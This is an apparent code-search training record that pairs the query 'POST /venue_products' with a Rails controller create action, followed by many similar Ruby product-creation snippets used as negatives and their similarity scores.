query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
listlengths 0
101
| negative_scores
listlengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
|---|---|---|---|---|---|---|
POST /venue_products POST /venue_products.json
|
def create
@venue_product = VenueProduct.new(params[:venue_product])
@venue = Venue.find_by_fs_venue_id(@venue_product.fs_venue_id)
@venue.product_count=(@venue.product_count).to_i + 1
#@venue.update_attribute(:product_count,(@venue.product_count).to_i + 1)
respond_to do |format|
if @venue_product.save && @venue.save
format.html { redirect_to @venue_product, notice: 'Venue product was successfully created.' }
format.json { render json: @venue_product, status: :created, location: @venue_product }
else
format.html { render action: "new" }
format.json { render json: @venue_product.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @product = @collection.products.build(product_params)\n\n if @product.save\n render json: @product, status: :created#, location: @collection\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end",
"def create\n @product = current_vendor.vendor_products.new(vendor_product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to vendor_products_url, notice: 'product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_args)\n\n if @product.save\n render json: Product.all, status: :created\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end",
"def create\n if params[:products]\n params[:products].each do |product|\n @product = Product.new(name: product[:name],\n brand: product[:brand],\n model: product[:model],\n sku: product[:sku],\n price: product[:price],\n desc: product[:desc])\n if !@product.save\n render json: @product.errors.full_messages, status: 422\n end\n end\n render 'api/products/index'\n else\n @product = Product.new(product_params)\n if @product.save\n render 'api/products/show'\n else\n render json: @product.errors.full_messages, status: 422\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n if @product.save\n render json: @product, status: :created, location: @product\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end",
"def create\n\n product_details = params.permit(:title, :inventory_count, :price)\n success = Product.create(product_details)\n\n render json: { success: success }\n end",
"def new\n @venue_product = VenueProduct.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @venue_product }\n end\n end",
"def create\n @product = Product.new(product_params)\n\n if @product.save\n render json: @product, status: :created\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end",
"def create\n @product = Product.create!(product_params)\n json_response(@product, :created)\n end",
"def create\n newProduct = Product.new(products_params)\n if newProduct.save\n msg = { status: 201 , product: newProduct }\n respond_to do |format|\n format.html { render json: msg }\n format.json { render json: msg }\n end\n else\n msg = { status: 422 }\n respond_to do |format|\n format.html { render json: msg }\n format.json { render json: msg }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n if @product.save\n render json: @product, status: :created, location: @product\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end",
"def create\n @product = Product.new(params[:product])\n #@product = Product.create(vendor_id: @vendor.id)\n #@vendor = Vendor.all\n #@product = @vendor.products.create(product_date :Time.now, vendor_id: @vendor.id)\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n @product.user = current_api_v1_user\n respond_to do |format|\n if @product.save\n params[:product][:properties].try(:each) do |k,v|\n @product.product_properties.create(property: Property.find(k), value: v)\n end\n params[:product][:colors].try(:each) do |c|\n @product.colors.create(name: c[:name].downcase, code: c[:code])\n end\n params[:product][:photos].try(:each) do |c|\n @product.photos.create(image: c)\n end\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created}\n else\n format.html { render :new }\n format.json { render json: @product.errors.full_messages, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n if @product.save\n render json: @product, status: :created\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end",
"def create\n @sales_upsale_product = SalesUpsaleProduct.new(sales_upsale_product_params)\n\n respond_to do |format|\n if @sales_upsale_product.save\n format.html { redirect_to sales_upsale_products_url, notice: 'Sales upsale product was successfully created.' }\n format.json { render :show, status: :created, location: @sales_upsale_product }\n else\n format.html { render :new }\n format.json { render json: @sales_upsale_product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(params[:product])\n @product.shop = Shop.find_by_uuid params[:shop_id]\n\n respond_to do |format|\n if @product.save!\n format.html { redirect_to shop_products_path(@product.shop.uuid), notice: 'Product was successfully created.' }\n format.json { render json: @product.to_json(:include => {:product_variants => {:include => [:option_types,:pictures]}})}\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n product = Product.new(product_params)\n if product.save\n render json: ProductSerializer.new(product).serialized_json\n end\n end",
"def create\n ActiveRecord::Base.transaction do\n begin\n @api_v1_product = Product.create!(api_v1_product_params)\n\n json_response @api_v1_product, :created\n rescue => ex\n json_response({error: ex.message}, :unprocessable_entity)\n raise ActiveRecord::Rollback\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n @product.save\n set_products\n end",
"def create\n if @product.save\n render :show, status: :created, location: api_v1_product_path(@product)\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end",
"def create\n @product = Product.new(product_params)\n if @product.save\n render json: {id: @product.id}\n else\n render json: {msg: @product.errors.full_messages.first}, status: :unprocessable_entity\n end\n end",
"def create\n @product = Product.new(params[:product])\n respond_to do |format|\n if @product.save\n current_user.user_info.products.push @product\n Shopify.create @product\n format.html { redirect_to :action => 'index' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @product = Product.new\n @shop = current_user.shops.find_by_uuid(params[:shop_id])\n @product.product_variants.build\n\n respond_to do |format|\n format.html\n format.json { render json: @product}\n end\n end",
"def create\n @venue = Venue.new(venue_params)\n\n if @venue.save\n render json: @venue, status: :created, location: @venue\n else\n render json: {errors: @venue.errors}, status: :unprocessable_entity\n end\n end",
"def create\n \n puts \"$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ PARAMS: #{params}\"\n @variant = Variant.new(params[:variant])\n\n respond_to do |format|\n if @variant.save\n format.html { redirect_to event_path(Product.find(params[:variant][\"product_id\"])), notice: 'Ticket type was successfully created.' }\n format.json { render json: @variant, status: :created, location: @variant }\n else\n format.html { render action: \"new\" }\n format.json { render json: @variant.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product_buy_click = ProductBuyClick.new(product_buy_click_params)\n @product_buy_click.user = current_user if is_client_app?\n\n if @product_buy_click.save\n render json: @product_buy_click, status: :created, location: @product_buy_click\n else\n render json: @product_buy_click.errors, status: :unprocessable_entity\n end\n end",
"def create\n return unless product_params\n render json: Product.create_product(\n @product_params,\n category_list,\n @current_user.id\n ).simple_info, status: :created\n rescue => e\n render json: { error: e }, status: :bad_request\n end",
"def create\n @product = Product.new(params[:product])\n\n if @product.save\n \n respond_with(@product, :location=>products_url)\n else\n respond_with(@product, :head=>:bad_request)\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to products_url, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: products_url }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @customer_event_product = CustomerEventProduct.new(customer_event_product_params)\n\n respond_to do |format|\n if @customer_event_product.save\n format.html { redirect_to :back, notice: 'Product was successfully added.', method: :get }\n format.js\n else\n format.html { render :new }\n format.json { render json: @customer_event.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n respond_with(@product) do |format|\n loginputs @product\n if @product.save(product_params)\n loginputs called_from_index_page?\n @products = get_products if called_from_index_page?\n loginputs @products\n end\n end\n\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to products_url, notice: \"Product was successfully created.\" }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to products_url, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n \n end",
"def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product,\n :notice=> 'Product was successfully created.' }\n format.json { render :json=> @product, :status=> :created,\n :location=> @product }\n else\n format.html { render :action=> \"new\" }\n format.json { render :json=> @product.errors,\n :status=> :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: t(:product_created) }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to products_path, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @paper_venue = PaperVenue.new(params[:paper_venue])\n\n respond_to do |format|\n if @paper_venue.save\n format.html { redirect_to @paper_venue, :notice => 'Paper venue was successfully created.' }\n format.json { render :json => @paper_venue, :status => :created, :location => @paper_venue }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @paper_venue.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, :notice => 'Product was successfully created.' }\n format.json { render :json => @product, :status => :created, :location => @product }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, :notice => 'Product was successfully created.' }\n format.json { render :json => @product, :status => :created, :location => @product }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, :notice => 'Product was successfully created.' }\n format.json { render :json => @product, :status => :created, :location => @product }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n \n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # @order = Order.new() \n total = 0\n \n @order = Order.new()\n for product in params[:_json]\n \n if (product[:quantity].nil? || product[:quantity].to_f < 1 || !isint(product[:quantity]))\n # Handle case when order invalid quantity\n render json: \"\", status: :bad_request\n return\n end\n\n @product = Product.find_by_name_and_size_id(product[:product], product[:size]) \n if @product.nil?\n # Handle case when order invalid products\n render json: \"\", status: :not_found\n return\n end \n total = total + @product.price * product[:quantity].to_f \n @order.orders_products << OrdersProduct.new(:product => @product, :hot => product[:hot], :quantity => product[:quantity]) \n end \n\n @order.total = total\n\n if @order.save\n render json: @order, status: :created, location: @order\n else\n render json: @order.errors, status: :unprocessable_entity\n end\n end",
"def create\n @product = Product.create(product_params)\n if @product.save\n # Respond to html with a redirect and json\n respond_to do |format|\n format.html do\n flash[:notice] = 'Product added'\n redirect_to products_path\n end\n format.json do\n render json: product.to_json\n end\n end\n else\n # Respond to html with a redirect and json\n respond_to do |format|\n format.html do\n flash.now[:error] = 'Error adding product'\n render :new\n end\n format.json do\n render json: { errors: @product.errors.full_messages }, status: 422\n end\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n trim_name = product_params[:name].strip\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n @product.update_attributes(:name => trim_name)\n ProductVariant.create(:product_id => @product.id, :price => 0)\n format.html { redirect_back_or(admin_merchandise_products_url, notice: 'Product was successfully created.') }\n format.json { render action: 'show', status: :created, location: @product }\n else\n format.html { render action: 'new' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def send_product(product)\n request(product, \"product\", :post, {method: \"add\"})\n end",
"def add_product\n @user = User.find_by(id: params['user'])\n products = params['products'].split(',')\n products.each do |product_id|\n @user.cart.products << Product.find_by(id: product_id)\n end \n render json: {data: @user.cart.products }\n end",
"def create\n @variant = @product.variants.new(params.require(:variant).permit!)\n @variant.price = params[:variant][:price]\n respond_to do |format|\n if @variant.save\n format.html { redirect_to admin_product_variants_url(@product), notice: 'Variant was successfully created.' }\n format.json { render action: 'show', status: :created, location: @variant }\n else\n format.html { render action: 'new' }\n format.json { render json: @variant.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: \"Product was successfully created.\" }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n\n # find a product against incoming barcode\n # now link that product with incoming invoice ID\n # incoming barcode might not match with any product in our system\n\n\n @product = InvoiceProduct.new(params[:invoice_product])\n\n p = Product.find_by_bar_code(params[:bar_code])\n shop_id = params[:shop_id]\n array = ProductShop.get_shop_products(p.id, shop_id)\n\n if p\n @product.product_id= p.id\n end\n\n respond_to do |format|\n if !p.nil? and !\n array.empty? and @product.save\n format.html { redirect_to invoice_invoice_products_path, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created}\n else\n puts \"******************error******************\"\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product,\n notice: 'Product was successfully created.' }\n format.json { render :show, status: :created,\n location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors,\n status: :unprocessable_entity }\n end\n end\n end",
"def create\n @shopifyproduct = Shopifyproduct.new(params[:shopifyproduct])\n\n respond_to do |format|\n if @shopifyproduct.save\n format.html { redirect_to @shopifyproduct, notice: 'Shopifyproduct was successfully created.' }\n format.json { render json: @shopifyproduct, status: :created, location: @shopifyproduct }\n else\n format.html { render action: \"new\" }\n format.json { render json: @shopifyproduct.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @os_product = OsProduct.new(os_product_params)\n\n respond_to do |format|\n if @os_product.save\n format.html { redirect_to @os_product, notice: 'Os product was successfully created.' }\n format.json { render :show, status: :created, location: @os_product }\n else\n format.html { render :new }\n format.json { render json: @os_product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def addProd()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n p = Product.new(name: params[:name], price: params[:price].to_f, category_id: params[:cat_id], picture_list: '[]')\n status = p.save\n error = \"\"\n if(p.errors.full_messages.count > 0)\n error = c.errors.full_messages[0]\n end\n render json: {status: status, reason: error, data: \"\"}\n end",
"def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to site_path(@site), notice: '商品の作成に成功しました' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tuhu_product = Tuhu::Product.new(tuhu_product_params)\n\n respond_to do |format|\n if @tuhu_product.save\n format.html { redirect_to @tuhu_product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @tuhu_product }\n else\n format.html { render :new }\n format.json { render json: @tuhu_product.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.7162615",
"0.7000326",
"0.69932795",
"0.6844026",
"0.6829674",
"0.68229145",
"0.6794237",
"0.6784045",
"0.67747784",
"0.67253536",
"0.6683777",
"0.666079",
"0.6660258",
"0.6631464",
"0.65690976",
"0.6559447",
"0.6538372",
"0.652779",
"0.6522539",
"0.65179026",
"0.6479962",
"0.64730215",
"0.6471374",
"0.64423317",
"0.6383849",
"0.6307395",
"0.63027525",
"0.628757",
"0.6260571",
"0.62336826",
"0.6232348",
"0.6223796",
"0.6223568",
"0.622277",
"0.6220036",
"0.6217682",
"0.62117726",
"0.6210487",
"0.6208063",
"0.6208063",
"0.6208063",
"0.6207203",
"0.6201049",
"0.6198882",
"0.619723",
"0.61929756",
"0.6192965",
"0.6190951",
"0.6188725",
"0.6182657",
"0.6177551",
"0.6177551",
"0.6177551",
"0.6177551",
"0.6177551",
"0.6177551",
"0.6177551",
"0.6177551",
"0.6177551",
"0.6177551",
"0.6177551",
"0.6177551",
"0.6177551",
"0.6177551",
"0.6177551",
"0.6177551",
"0.6177551",
"0.6177551",
"0.6177551",
"0.6177551",
"0.6177551",
"0.6177551",
"0.6177551",
"0.6177551",
"0.6177551",
"0.6177551",
"0.6177551",
